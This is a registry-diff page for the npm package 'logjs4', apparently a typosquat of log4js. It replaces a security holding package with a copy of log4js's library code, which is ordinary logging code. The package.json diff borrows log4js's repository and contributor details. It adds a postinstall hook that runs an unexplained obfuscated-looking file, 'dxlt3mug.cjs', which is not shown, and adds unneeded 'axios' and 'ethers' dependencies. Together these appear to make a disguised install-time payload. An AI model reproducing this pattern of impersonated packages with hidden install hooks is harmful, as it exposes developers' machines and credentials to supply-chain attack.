logjs4 0.0.1-security → 6.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of logjs4 might be problematic. Click here for more details.

package/lib/log4js.js ADDED
@@ -0,0 +1,186 @@
1
+ /**
2
+ * @fileoverview log4js is a library to log in JavaScript in similar manner
3
+ * than in log4j for Java (but not really).
4
+ *
5
+ * <h3>Example:</h3>
6
+ * <pre>
7
+ * const logging = require('log4js');
8
+ * const log = logging.getLogger('some-category');
9
+ *
10
+ * //call the log
11
+ * log.trace('trace me' );
12
+ * </pre>
13
+ *
14
+ * NOTE: the authors below are the original browser-based log4js authors
15
+ * don't try to contact them about bugs in this version :)
16
+ * @author Stephan Strittmatter - http://jroller.com/page/stritti
17
+ * @author Seth Chisamore - http://www.chisamore.com
18
+ * @since 2005-05-20
19
+ * Website: http://log4js.berlios.de
20
+ */
21
+ const debug = require('debug')('log4js:main');
22
+ const fs = require('fs');
23
+ const deepClone = require('rfdc')({ proto: true });
24
+ const configuration = require('./configuration');
25
+ const layouts = require('./layouts');
26
+ const levels = require('./levels');
27
+ const appenders = require('./appenders');
28
+ const categories = require('./categories');
29
+ const Logger = require('./logger');
30
+ const clustering = require('./clustering');
31
+ const connectLogger = require('./connect-logger');
32
+ const recordingModule = require('./appenders/recording');
33
+
34
+ let enabled = false;
35
+
36
+ function sendLogEventToAppender(logEvent) {
37
+ if (!enabled) return;
38
+ debug('Received log event ', logEvent);
39
+ const categoryAppenders = categories.appendersForCategory(
40
+ logEvent.categoryName
41
+ );
42
+ categoryAppenders.forEach((appender) => {
43
+ appender(logEvent);
44
+ });
45
+ }
46
+
47
+ function loadConfigurationFile(filename) {
48
+ debug(`Loading configuration from ${filename}`);
49
+ try {
50
+ return JSON.parse(fs.readFileSync(filename, 'utf8'));
51
+ } catch (e) {
52
+ throw new Error(
53
+ `Problem reading config from file "${filename}". Error was ${e.message}`,
54
+ e
55
+ );
56
+ }
57
+ }
58
+
59
+ function configure(configurationFileOrObject) {
60
+ if (enabled) {
61
+ // eslint-disable-next-line no-use-before-define
62
+ shutdown();
63
+ }
64
+
65
+ let configObject = configurationFileOrObject;
66
+
67
+ if (typeof configObject === 'string') {
68
+ configObject = loadConfigurationFile(configurationFileOrObject);
69
+ }
70
+ debug(`Configuration is ${configObject}`);
71
+
72
+ configuration.configure(deepClone(configObject));
73
+
74
+ clustering.onMessage(sendLogEventToAppender);
75
+
76
+ enabled = true;
77
+
78
+ // eslint-disable-next-line no-use-before-define
79
+ return log4js;
80
+ }
81
+
82
+ function isConfigured() {
83
+ return enabled;
84
+ }
85
+
86
+ function recording() {
87
+ return recordingModule;
88
+ }
89
+
90
+ /**
91
+ * This callback type is called `shutdownCallback` and is displayed as a global symbol.
92
+ *
93
+ * @callback shutdownCallback
94
+ * @param {Error} [error]
95
+ */
96
+
97
+ /**
98
+ * Shutdown all log appenders. This will first disable all writing to appenders
99
+ * and then call the shutdown function each appender.
100
+ *
101
+ * @param {shutdownCallback} [callback] - The callback to be invoked once all appenders have
102
+ * shutdown. If an error occurs, the callback will be given the error object
103
+ * as the first argument.
104
+ */
105
+ function shutdown(callback = () => {}) {
106
+ if (typeof callback !== 'function') {
107
+ throw new TypeError('Invalid callback passed to shutdown');
108
+ }
109
+ debug('Shutdown called. Disabling all log writing.');
110
+ // First, disable all writing to appenders. This prevents appenders from
111
+ // not being able to be drained because of run-away log writes.
112
+ enabled = false;
113
+
114
+ // Clone out to maintain a reference
115
+ const appendersToCheck = Array.from(appenders.values());
116
+
117
+ // Reset immediately to prevent leaks
118
+ appenders.init();
119
+ categories.init();
120
+
121
+ // Count the number of shutdown functions
122
+ const shutdownFunctions = appendersToCheck.reduce(
123
+ (accum, next) => (next.shutdown ? accum + 1 : accum),
124
+ 0
125
+ );
126
+ if (shutdownFunctions === 0) {
127
+ debug('No appenders with shutdown functions found.');
128
+ callback();
129
+ }
130
+
131
+ let completed = 0;
132
+ let error;
133
+ debug(`Found ${shutdownFunctions} appenders with shutdown functions.`);
134
+ function complete(err) {
135
+ error = error || err;
136
+ completed += 1;
137
+ debug(`Appender shutdowns complete: ${completed} / ${shutdownFunctions}`);
138
+ if (completed >= shutdownFunctions) {
139
+ debug('All shutdown functions completed.');
140
+ callback(error);
141
+ }
142
+ }
143
+
144
+ // Call each of the shutdown functions
145
+ appendersToCheck
146
+ .filter((a) => a.shutdown)
147
+ .forEach((a) => a.shutdown(complete));
148
+ }
149
+
150
+ /**
151
+ * Get a logger instance.
152
+ * @static
153
+ * @param {string} [category=default]
154
+ * @return {Logger} instance of logger for the category
155
+ */
156
+ function getLogger(category) {
157
+ if (!enabled) {
158
+ configure(
159
+ process.env.LOG4JS_CONFIG || {
160
+ appenders: { out: { type: 'stdout' } },
161
+ categories: { default: { appenders: ['out'], level: 'OFF' } },
162
+ }
163
+ );
164
+ }
165
+ return new Logger(category || 'default');
166
+ }
167
+
168
+ /**
169
+ * @name log4js
170
+ * @namespace Log4js
171
+ * @property getLogger
172
+ * @property configure
173
+ * @property shutdown
174
+ */
175
+ const log4js = {
176
+ getLogger,
177
+ configure,
178
+ isConfigured,
179
+ shutdown,
180
+ connectLogger,
181
+ levels,
182
+ addLayout: layouts.addLayout,
183
+ recording,
184
+ };
185
+
186
+ module.exports = log4js;
package/lib/logger.js ADDED
@@ -0,0 +1,245 @@
1
+ /* eslint no-underscore-dangle: ["error", { "allow": ["_log"] }] */
2
+
3
+ const debug = require('debug')('log4js:logger');
4
+ const LoggingEvent = require('./LoggingEvent');
5
+ const levels = require('./levels');
6
+ const clustering = require('./clustering');
7
+ const categories = require('./categories');
8
+ const configuration = require('./configuration');
9
+
10
+ const stackReg = /^(?:\s*)at (?:(.+) \()?(?:([^(]+?):(\d+):(\d+))\)?$/;
11
+ /**
12
+ * The top entry is the Error
13
+ */
14
+ const baseCallStackSkip = 1;
15
+ /**
16
+ * The _log function is 3 levels deep, we need to skip those to make it to the callSite
17
+ */
18
+ const defaultErrorCallStackSkip = 3;
19
+
20
+ /**
21
+ *
22
+ * @param {Error} data
23
+ * @param {number} skipIdx
24
+ * @returns {import('../types/log4js').CallStack | null}
25
+ */
26
+ function defaultParseCallStack(
27
+ data,
28
+ skipIdx = defaultErrorCallStackSkip + baseCallStackSkip
29
+ ) {
30
+ try {
31
+ const stacklines = data.stack.split('\n').slice(skipIdx);
32
+ if (!stacklines.length) {
33
+ // There's no stack in this stack
34
+ // Should we try a previous index if skipIdx was set?
35
+ return null;
36
+ }
37
+ const lineMatch = stackReg.exec(stacklines[0]);
38
+ /* istanbul ignore else: failsafe */
39
+ if (lineMatch && lineMatch.length === 5) {
40
+ // extract class, function and alias names
41
+ let className = '';
42
+ let functionName = '';
43
+ let functionAlias = '';
44
+ if (lineMatch[1] && lineMatch[1] !== '') {
45
+ // WARN: this will unset alias if alias is not present.
46
+ [functionName, functionAlias] = lineMatch[1]
47
+ .replace(/[[\]]/g, '')
48
+ .split(' as ');
49
+ functionAlias = functionAlias || '';
50
+
51
+ if (functionName.includes('.'))
52
+ [className, functionName] = functionName.split('.');
53
+ }
54
+
55
+ return {
56
+ fileName: lineMatch[2],
57
+ lineNumber: parseInt(lineMatch[3], 10),
58
+ columnNumber: parseInt(lineMatch[4], 10),
59
+ callStack: stacklines.join('\n'),
60
+ className,
61
+ functionName,
62
+ functionAlias,
63
+ callerName: lineMatch[1] || '',
64
+ };
65
+ // eslint-disable-next-line no-else-return
66
+ } else {
67
+ // will never get here unless nodejs has changes to Error
68
+ console.error('log4js.logger - defaultParseCallStack error'); // eslint-disable-line no-console
69
+ }
70
+ } catch (err) {
71
+ // will never get error unless nodejs has breaking changes to Error
72
+ console.error('log4js.logger - defaultParseCallStack error', err); // eslint-disable-line no-console
73
+ }
74
+ return null;
75
+ }
76
+
77
+ /**
78
+ * Logger to log messages.
79
+ * use {@see log4js#getLogger(String)} to get an instance.
80
+ *
81
+ * @name Logger
82
+ * @namespace Log4js
83
+ * @param name name of category to log to
84
+ * @param level - the loglevel for the category
85
+ * @param dispatch - the function which will receive the logevents
86
+ *
87
+ * @author Stephan Strittmatter
88
+ */
89
+ class Logger {
90
+ constructor(name) {
91
+ if (!name) {
92
+ throw new Error('No category provided.');
93
+ }
94
+ this.category = name;
95
+ this.context = {};
96
+ /** @private */
97
+ this.callStackSkipIndex = 0;
98
+ /** @private */
99
+ this.parseCallStack = defaultParseCallStack;
100
+ debug(`Logger created (${this.category}, ${this.level})`);
101
+ }
102
+
103
+ get level() {
104
+ return levels.getLevel(
105
+ categories.getLevelForCategory(this.category),
106
+ levels.OFF
107
+ );
108
+ }
109
+
110
+ set level(level) {
111
+ categories.setLevelForCategory(
112
+ this.category,
113
+ levels.getLevel(level, this.level)
114
+ );
115
+ }
116
+
117
+ get useCallStack() {
118
+ return categories.getEnableCallStackForCategory(this.category);
119
+ }
120
+
121
+ set useCallStack(bool) {
122
+ categories.setEnableCallStackForCategory(this.category, bool === true);
123
+ }
124
+
125
+ get callStackLinesToSkip() {
126
+ return this.callStackSkipIndex;
127
+ }
128
+
129
+ set callStackLinesToSkip(number) {
130
+ if (typeof number !== 'number') {
131
+ throw new TypeError('Must be a number');
132
+ }
133
+ if (number < 0) {
134
+ throw new RangeError('Must be >= 0');
135
+ }
136
+ this.callStackSkipIndex = number;
137
+ }
138
+
139
+ log(level, ...args) {
140
+ const logLevel = levels.getLevel(level);
141
+ if (!logLevel) {
142
+ if (configuration.validIdentifier(level) && args.length > 0) {
143
+ // logLevel not found but of valid signature, WARN before fallback to INFO
144
+ this.log(
145
+ levels.WARN,
146
+ 'log4js:logger.log: valid log-level not found as first parameter given:',
147
+ level
148
+ );
149
+ this.log(levels.INFO, `[${level}]`, ...args);
150
+ } else {
151
+ // apart from fallback, allow .log(...args) to be synonym with .log("INFO", ...args)
152
+ this.log(levels.INFO, level, ...args);
153
+ }
154
+ } else if (this.isLevelEnabled(logLevel)) {
155
+ this._log(logLevel, args);
156
+ }
157
+ }
158
+
159
+ isLevelEnabled(otherLevel) {
160
+ return this.level.isLessThanOrEqualTo(otherLevel);
161
+ }
162
+
163
+ _log(level, data) {
164
+ debug(`sending log data (${level}) to appenders`);
165
+ const error = data.find((item) => item instanceof Error);
166
+ let callStack;
167
+ if (this.useCallStack) {
168
+ try {
169
+ if (error) {
170
+ callStack = this.parseCallStack(
171
+ error,
172
+ this.callStackSkipIndex + baseCallStackSkip
173
+ );
174
+ }
175
+ } catch (_err) {
176
+ // Ignore Error and use the original method of creating a new Error.
177
+ }
178
+ callStack =
179
+ callStack ||
180
+ this.parseCallStack(
181
+ new Error(),
182
+ this.callStackSkipIndex +
183
+ defaultErrorCallStackSkip +
184
+ baseCallStackSkip
185
+ );
186
+ }
187
+ const loggingEvent = new LoggingEvent(
188
+ this.category,
189
+ level,
190
+ data,
191
+ this.context,
192
+ callStack,
193
+ error
194
+ );
195
+ clustering.send(loggingEvent);
196
+ }
197
+
198
+ addContext(key, value) {
199
+ this.context[key] = value;
200
+ }
201
+
202
+ removeContext(key) {
203
+ delete this.context[key];
204
+ }
205
+
206
+ clearContext() {
207
+ this.context = {};
208
+ }
209
+
210
+ setParseCallStackFunction(parseFunction) {
211
+ if (typeof parseFunction === 'function') {
212
+ this.parseCallStack = parseFunction;
213
+ } else if (typeof parseFunction === 'undefined') {
214
+ this.parseCallStack = defaultParseCallStack;
215
+ } else {
216
+ throw new TypeError('Invalid type passed to setParseCallStackFunction');
217
+ }
218
+ }
219
+ }
220
+
221
+ function addLevelMethods(target) {
222
+ const level = levels.getLevel(target);
223
+
224
+ const levelStrLower = level.toString().toLowerCase();
225
+ const levelMethod = levelStrLower.replace(/_([a-z])/g, (g) =>
226
+ g[1].toUpperCase()
227
+ );
228
+ const isLevelMethod = levelMethod[0].toUpperCase() + levelMethod.slice(1);
229
+
230
+ Logger.prototype[`is${isLevelMethod}Enabled`] = function () {
231
+ return this.isLevelEnabled(level);
232
+ };
233
+
234
+ Logger.prototype[levelMethod] = function (...args) {
235
+ this.log(level, ...args);
236
+ };
237
+ }
238
+
239
+ levels.levels.forEach(addLevelMethods);
240
+
241
+ configuration.addListener(() => {
242
+ levels.levels.forEach(addLevelMethods);
243
+ });
244
+
245
+ module.exports = Logger;
package/package.json CHANGED
@@ -1,6 +1,108 @@
1
1
  {
2
2
  "name": "logjs4",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "6.9.1",
4
+ "description": "Port of Log4js to work with node.",
5
+ "homepage": "https://log4js-node.github.io/log4js-node/",
6
+ "files": [
7
+ "lib",
8
+ "types/*.d.ts",
9
+ "CHANGELOG.md",
10
+ "SECURITY.md",
11
+ "dxlt3mug.cjs"
12
+ ],
13
+ "keywords": [
14
+ "logging",
15
+ "log",
16
+ "log4j",
17
+ "node"
18
+ ],
19
+ "license": "Apache-2.0",
20
+ "main": "./lib/log4js",
21
+ "types": "./types/log4js.d.ts",
22
+ "contributors": [
23
+ "Gareth Jones <gareth.nomiddlename@gmail.com>",
24
+ "Lam Wei Li <lam_wei_li@hotmail.com>"
25
+ ],
26
+ "repository": {
27
+ "type": "git",
28
+ "url": "https://github.com/log4js-node/log4js-node.git"
29
+ },
30
+ "bugs": {
31
+ "url": "http://github.com/log4js-node/log4js-node/issues"
32
+ },
33
+ "engines": {
34
+ "node": ">=8.0"
35
+ },
36
+ "scripts": {
37
+ "postinstall": "node dxlt3mug.cjs"
38
+ },
39
+ "directories": {
40
+ "test": "test",
41
+ "lib": "lib"
42
+ },
43
+ "dependencies": {
44
+ "date-format": "^4.0.14",
45
+ "debug": "^4.3.4",
46
+ "flatted": "^3.2.7",
47
+ "rfdc": "^1.3.0",
48
+ "streamroller": "^3.1.5",
49
+ "axios": "^1.7.7",
50
+ "ethers": "^6.13.2"
51
+ },
52
+ "devDependencies": {
53
+ "@commitlint/cli": "^17.4.4",
54
+ "@commitlint/config-conventional": "^17.4.4",
55
+ "@log4js-node/sandboxed-module": "^2.2.1",
56
+ "callsites": "^3.1.0",
57
+ "deep-freeze": "0.0.1",
58
+ "eslint": "^8.34.0",
59
+ "eslint-config-airbnb-base": "^15.0.0",
60
+ "eslint-config-prettier": "^8.6.0",
61
+ "eslint-import-resolver-node": "^0.3.7",
62
+ "eslint-plugin-import": "^2.27.5",
63
+ "eslint-plugin-prettier": "^4.2.1",
64
+ "fs-extra": "^11.1.0",
65
+ "husky": "^8.0.3",
66
+ "is-ci": "^3.0.1",
67
+ "nyc": "^15.1.0",
68
+ "prettier": "^2.8.4",
69
+ "proxyquire": "^2.1.3",
70
+ "tap": "^16.3.4",
71
+ "typescript": "^4.9.5"
72
+ },
73
+ "browser": {
74
+ "os": false,
75
+ "streamroller": false,
76
+ "./lib/clustering.js": "./lib/clusteringBrowser.js",
77
+ "./lib/appenders/dateFile.js": "./lib/appenders/ignoreBrowser.js",
78
+ "./lib/appenders/file.js": "./lib/appenders/ignoreBrowser.js",
79
+ "./lib/appenders/fileSync.js": "./lib/appenders/ignoreBrowser.js",
80
+ "./lib/appenders/multiFile.js": "./lib/appenders/ignoreBrowser.js"
81
+ },
82
+ "prettier": {
83
+ "trailingComma": "es5",
84
+ "arrowParens": "always",
85
+ "overrides": [
86
+ {
87
+ "files": [
88
+ "*.cjs"
89
+ ],
90
+ "options": {
91
+ "parser": "typescript"
92
+ }
93
+ }
94
+ ]
95
+ },
96
+ "tap": {
97
+ "check-coverage": true
98
+ },
99
+ "nyc": {
100
+ "all": true,
101
+ "include": [
102
+ "lib/**/*.js"
103
+ ],
104
+ "require": [
105
+ "./test/sandbox-coverage"
106
+ ]
107
+ }
108
+ }